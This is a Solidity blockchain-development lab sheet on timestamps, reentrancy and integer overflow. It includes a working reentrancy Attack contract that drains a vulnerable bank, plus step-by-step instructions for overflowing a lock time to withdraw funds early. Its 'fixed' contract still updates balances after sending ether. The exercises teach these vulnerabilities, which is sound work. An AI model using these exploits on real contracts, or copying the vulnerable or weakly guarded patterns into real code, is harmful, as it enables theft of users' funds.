Ethereum
Blockchain Development
Week 19

Introduction

The intention of this lab is to look at functions and how variables are stored. All the exercises are completed in Remix IDE or the VM provided.

Code Completion

Writing code in a new language can be a steep learning curve. The approach here is to provide some code with underscores (_) that you are required to complete. These underscores are there to help you. By completing these exercises you will be improving your skills and knowledge of Solidity.

Each exercise starts on a new page. The red numbers in the right-hand margin are estimated minutes you should spend on each exercise.

Code Completion

```
1  //SPDX-License-Identifier:MIT
2  pragma solidity ^0.8.7;
3
4  interface SimpleToken{
5    function addAccount(address _account) external;
6    function deposit(address _from, uint _amount) external ;
7    function freezeAccount(address _account)  external;
8    function isFrozen(address _account) external returns(bool);
9    function withdraw(address _to, uint amount) external ;
10   function thawAccount(address _account) external;
11 }
```

Figure 1.1: Interface code for Savings contract, available from Savings-incomplete.sol

1 Timestamps

Open Remix editor at Remix online Editor.

This exercise is a reminder of interfaces and introduces us to tokens and timestamps. The aim is to build a token with the interface provided in Fig. **??**. The objective of the SC is to freeze a deposit for a time interval, thus preventing the EOA from accessing those funds for a time interval. The deposits are made to the owner, the Contract Address, or in this case a banker.

1.1 Interface

15–20

The objective of this exercise is to create a token that helps the account holder save. Once the deposit is made, than a withdrawal cannot be made for a specific period of time. For practical matters the time between deposit and withdrawal is set to 1 minute and therefore can be tested in the 2 hour tutorial. In reality, this value may be set to 6 months or 1 year. The objective here is not about saving, but instead about timestamp management. Figure **??** shows the complete code for the interface, copy this interface into a new file.

Code Completion

```
contract MDXToken is SimpleToken{
  address public banker;
  uint public balance;
  mapping (address => uint) public balanceMap;
  mapping (address => bool) public freezeMap;
  mapping (address => uint) public freezeInterval;
  uint constant TOKEN_SUPPLY = 1000000000; //mdx-wei
  uint constant INIT = 10000;
  uint interval = 60;
  event Transfer(address, uint);

//ACCESS MODIFIERS
  modifier bankerOnly(){
    require(msg.sender == banker, "Insufficient access: banker only");
    _;
  }

  modifier ownerOnly(_______ _account){
    require(msg._______ == _account, "Insufficient access: owner only");
    _;
  }


  constructor () {
    banker = msg.sender;
    balance = TOKEN_SUPPLY;
  }

  /*
  * Creates an account with an initial supply of tokens
  */
  function addAccount(address _account) public bankerOnly override {
    require(____________, "Tokens supply exceeded");
          balanceMap[_________] = INIT;
    ________-= INIT;
          freezeMap[_account] = false;
          freezeInterval[_account] = block.timestamp;
  }

  /*
  * Deposit funds to banker,
```

Figure 1.2: Incomplete code for Savings contract

1.2 Contract

20-25

Create a new contract and complete the functions in Fig. 1.2. Test the contract using the Remix VM.

1.3 Testing

10-15

Test your code and see if the access modifiers work by trying the following and answering any questions raised:

- Compile and deploy network on the first address, in the Remix editor.
- Add the second address, which account do you require to be logged in as?
- Check the balances of the first and second addresses. Have there been any changes?
- Is the second account frozen?
- Deposit the whole amount back to the bank, which account does the `msg.sender` have to be in order to complete this?
- Check the balances of the first and second address.
- Check the frozen Intervals and Maps of the second address.
- Try to withdraw the tokens back into the second account. What conditions do you need for this to succeed?
- Finally, why are none of the functions payable?

2 Reentrancy

20-25

Open the VM. Open Remix IDE and Ganache. Type the contracts displayed in 2.1.

Once compiled follow the instructions below:

1. Link Remix IDE to Ganache and ensure that you have provided the correct network details in the environment dropdown menu.
2. Deploy `badEtherStore`
3. Deposit 2 Ether from the first, second and third address in Ganache.
4. Use `badEtherStore.getBalance` to view the balance of the EOA.
5. Deploy `Attack` contract with the address of the `badEtherStore` above.
6. Call `attack` function and you should get 6 ETH deposited into the `Attack` EOA.
7. Use `Attack.getBalance` to view the balance of the EOA.
8. Collect the ether from the EOA by using the `collect` function. Select the fourth address from the Ganache and 6 Ether.

Code Completion

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract badEtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 _senderBalance = balances[msg.sender];
        require(_senderBalance > 0, "Failed: empty account");
        (bool sent, bytes memory data) = msg.sender.call{value: _senderBalance}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    badEtherStore public bank;

    constructor(address _bankAddress) {
        bank = badEtherStore(_bankAddress);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    function collect(uint256 _amount, address payable _address) public {
      _address.transfer( _amount);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

Figure 2.1: Reentrancy Code

Code Completion

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract goodEtherStore {
  mapping(address => uint256) public balances;
  bool reentrancyGuard = true;

  function deposit() public payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw() public {
    require(reentrancyGuard);
    uint256 _senderBalance = balances[msg.sender];
    require(_senderBalance > 0, "Failed: empty account");
    reentrancyGuard=false;
    address payable user = payable(msg.sender);
    user.transfer(_senderBalance);
    reentrancyGuard=true;
    balances[msg.sender] = 0;
  }

  function getBalance() public view returns (uint256) {
    return address(this).balance;
  }
}
```

Figure 2.2: Reentrancy Guard Code

2.1 Reentrancy Guard

5-10

To prevent this from happening, make the following alterations to `badEtherStore.sol` as shown in Fig. 2.2 Compile and deploy this contract and see if the attack is successful.

Code Completion

```
1  //SPDX-License-Identifier:MIT
2  pragma solidity ^0.7.0;
3  contract badEtherStore{
4          mapping (address=>uint) public balances;
5          mapping (address=>uint) public lockTimes;
6
7          function getBalance () public view returns (uint){
8                  return address(this).balance;
9          }
10
11         function getBalance (address _addr) public view returns (uint){
12                 return balances[_addr];
13         }
14
15         function getLockTime (address _addr) public view returns (uint){
16                 return lockTimes[_addr];
17         }
18
19         function deposit () public payable{
20
21                 balances[msg.sender] += msg.value;
22                 lockTimes[msg.sender] = block.timestamp + 600; // 10 mins
23                 //2^256 -1 =
       115792089237316195423570985008687907853269984665640564039457584007913129639935
24                 //2^256 -1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
25         }
26
27         function increaseLockTime (uint _seconds) public {
28                 lockTimes[msg.sender] += _seconds;
29         }
30
31         function withdraw() public payable {
32                 address payable user = payable(msg.sender);
33                 require(balances[msg.sender] > 0, "Insufficient funds");
34                 require(lockTimes[msg.sender] <= block.timestamp, "Account Frozen");
35                 uint balance = balances[msg.sender];
36                 balances[msg.sender]=0;
37                 user.transfer(balance);
38         }
39 }
```

Figure 3.1: Overflow Code

3 Overflow

20-25

Open the VM. Open Remix IDE and Ganache. Type the contracts displayed in 3.1.

Once compiled follow the instructions below:

1. Deploy `badEtherStore`
2. Deposit 2 Ether from the first three accounts in Ganache. Check the balances and the overall balance of the Contract Address as 6 ether.
3. Try to withdraw the amounts and see if the correct error is displayed.

Code Completion

```
//SPDX-License-Identifier:MIT
pragma solidity ^0.7.0;
library safeArithmetic{
  function add(uint _x, uint _y) internal pure returns(uint){
    uint _z = _x + _y;
    assert( _z >= _x );
    return( _z);
  }

  function sub(uint _x, uint _y) internal  pure returns(uint){
    assert(_x >= _y);
    return (_x - _y);
  }

}
```

Figure 3.2: Library Code for Safe Arithmetic

4. You need a calculator for some big number arithmetics, e.g., Defuse's Big Number Calculator. Complete the calculations in hexidecimal.

5. Manipulate the locked times by using the `increaseLockTime` function. The calculation has to be to add the difference between the current locked time and 2^{256}. For example, copy the locked time for the first address, say, 1660638809, and subtract this from 2^{256}. Use the result and paste this inside the `increaseLockTime` function (this may require removing spaces or commas and adding the prefix '0x').

6. Now try to withdraw the money. Check the new lockTime as well as the account balance.

Use the library displayed in Fig. 3.2 to prevent this vulnerability from occurring.

4 Further Reading

- Chapter 4 in [4]
- Chapter 14 in [3]
- Paper on ArXiv: [2]
- Be aware of the top Dapps at Dap Radar

- Chapter 9 in [1]
- Decentralized Application Security Project

References

[1] Andreas M. Antonopoulos and Gavin Wood. *Mastering Ethereum*. O'Reilly, 1st edition, 2018.

[2] Shayan Eskandari, Seyedehmahsa Moosavi, and Jeremy Clark. Sok: Transparent dishonesty: front-running attacks on blockchain. *CoRR*, abs/1902.05164, 2019.

[3] R. Infante. *Building Ethereum Dapps*. Manning, 2019.

[4] X. Wu, Z. Zhihong, and D. Song. *Learn Ethereum*. Packt, 1st edition, 2019.